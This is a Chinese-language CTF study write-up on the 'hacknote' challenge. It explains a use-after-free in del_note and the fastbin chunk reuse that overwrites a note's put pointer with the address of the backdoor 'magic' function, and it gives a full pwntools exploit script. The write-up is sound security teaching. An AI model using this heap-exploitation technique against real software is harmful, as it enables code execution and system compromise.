pwn学习——UseAfterFree hacknote

1. 反编译看一下源代码

可以看到大概有四个功能
add
del
print
menu
另外还有后门函数magic

2.add_note

可以看到在添加note的时候，每一个note有两个部分
第一个部份是一个put函数
第二个部分存放的是real_content

一个note节点内部结构是这样的

3.print_note

调用put函数进行输出

4.del_note

delete_note 会根据给定的索引来释放对应的 note。但是值得注意的是，在 删除的时候，只是单纯进行了 free，而没有设置为 NULL，那么显然，这里是存在 Use After Free 的情况的。

free之后没有置NULL

5.exp

显然 note 是一个 fastbin chunk（大小为 16 字节）。我们的目的是希望一个 note 的 put 字段为 magic 的函数地址，那么我们必须想办法让某个 note 的 put 指针被覆盖为 magic 地址。由于程序中只有唯一的地方对 put 进行赋值。所以我们必须利用写 real content 的时候来进行覆盖。具体采用的思路如下

• 申请 note0，real content size 为 16（大小与 note 大小所在的 bin 不一样即可）
• 申请 note1，real content size 为 16（大小与 note 大小所在的 bin 不一样即可）
• 释放 note0
• 释放 note1
  此时，大小为 16 的 fast bin chunk 中链表为 note1->note0
• 申请 note2，并且设置 real content 的大小为 8，那么根据堆的分配规则
  note2 其实会分配 note1 对应的内存块。
  real content 对应的 chunk 其实是 note0。
  如果我们这时候向 note2 real content 的 chunk 部分写入 magic 的地址，那么由于我们没有 note0 为 NULL。当我们再次尝试输出 note0 的时候，程序就会调用 magic 函数。

from pwn import *

r = process('./hacknote')


def addnote(size, content):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(content)


def delnote(idx):
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))


def printnote(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))


#gdb.attach(r)
magic = 0x08048986

addnote(32, "aaaa") # add note 0
addnote(32, "ddaa") # add note 1

delnote(0) # delete note 0
delnote(1) # delete note 1

addnote(8, p32(magic)) # add note 2

printnote(0) # print note 0

r.interactive()

6.运行结果

权限已经拿到

7.题目下载地址

点击下载